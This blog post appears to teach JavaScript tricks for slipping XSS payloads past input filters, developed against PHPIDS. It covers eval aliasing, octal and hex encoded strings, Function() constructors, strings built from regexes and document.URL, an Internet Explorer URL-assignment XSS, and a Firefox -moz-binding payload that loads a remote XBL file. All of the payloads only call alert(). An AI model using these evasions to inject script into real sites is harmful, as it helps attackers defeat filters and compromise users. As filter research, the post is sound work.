Javascript for hackers

I've spent a bit of time experimenting with Javascript over the last few weeks and I thought I'd share some of the techniques used. First of all Javascript is weird, cool and surprising language, it is just simply not possible to learn everything it can do.

Most of these techniques were used whilst hacking/playing with the PHPIDS and I got addicted to finding new ways of doing things. I've followed a question and answer format for this post as I think it is easier to follow rather than one big post of techniques.

What can you do if you can't use eval()?

In Javascript you can store references to native functions in variables so for example you can do the following:-

<pre lang="javascript"> x=eval; x();// calls eval </pre>

Geko based browsers also allow you to call the eval function like this:-

<pre lang="javascript"> 0['eval']('alert(/XSS/)') </pre>

So you can do stuff like, use your imagination:-

<pre lang="javascript"> 0['ev'+'al']('alert(/XSS/)'); </pre>

How do I get round using certain characters/words?

Javascript supports various encoding which allows you to represent different characters. So the following unicode example creates the eval and alert combination:-

<pre lang="javascript"> alert('\141\154\145\162\164\050\061\051') </pre>

So \141 translates to 'a' etc, when you have a string in javascript by using "" or '' you can use unicode characters, when javascript encounters the '' it will convert the character depending on it's character code.

Hex decimal encoding can also be used like the following:-

<pre lang="javascript"> alertString = 'a\x6cert(1)'; </pre>

You can also use eval to convert the character for you, for example the following produces the letter 'a':-

<pre lang="javascript"> charNumber = 141; stringQuote = "'"; backslash = "\\"; alert(eval(stringQuote + backslash + charNumber + stringQuote)); </pre>

How do you call anonymous functions?

Javascript allows you to call functions when you use '()' as you already know, but you can also use it to call anonymous functions like the following:-

<pre lang="javascript"> new Function('alert(1)')(); </pre>

The code above creates a new anonymous function and passes the string 'alert(1)' which is embedded into the newly created function, it then calls executes the function. You can also combine the techniques mentioned, like using different characters encodings to pass the string information , you also don't need to specify 'new' e.g.

<pre lang="javascript"> Function('a\x6cert(1)')(); </pre>

What can you use as variable names?

Javascript isn't very strict and is pretty lax when it comes to variables names for example the '_' character is allowed as a variable name or even a '$' can be used as a variable name, even different character sets are allowed for variable names.

How can you create a string?

Strings are defined using String(), '' and "" etc. What you might not have known though is that regular expressions can also be used to create a string, like the following examples:-

<pre lang="javascript"> newString = /XSS/.source; newString = /XSS/ + ''; newString = newString[1] + newString[2] + newString[3]; </pre>

I really need this character but it's not allowed, how do I get it?

Think around the problem, rather than try to access the character directly get the information from another source. Like for example say you wanted the colon character and you tried urlencodings and various character encodings, you can use the URL property to gain this information. Example:-

<pre lang="javascript"> alert(document.URL.substr(4, 1)); </pre>

I like the document.URL technique, what else is possible using similar techniques?

Surprisingly often you don't even need to call the document object to access some functions, so URL is available within the context of the HTML element:-

<pre lang="javascript"> <a onclick="alert(URL)" href="#">Test</a> </pre>

In Internet Explorer you can even set the URL property to cause XSS like this:-

<pre lang="javascript"> <a onclick="URL='javascript:alert(/XSS/)'" href="#">Test</a> </pre>

Are there any other ways of executing javascript in CSS?

Firefox has a few features which allow unusual Javascript execution, among them is the -moz-binding css extension which allows you to link XML documents using CSS. Here is an example:-

<pre lang="css"> <p style=-moz-binding:url(http://www.businessinfo.co.uk/labs/xbl/xbl.xml#xss);>Test</p> </pre>

How can I use XML within Javascript?

Firefox now supports XML in javascript code, you can just include the tags like this:-

<pre lang="javascript"> testXML = <s>Test XML string</s>; alert(textXML.text()); </pre>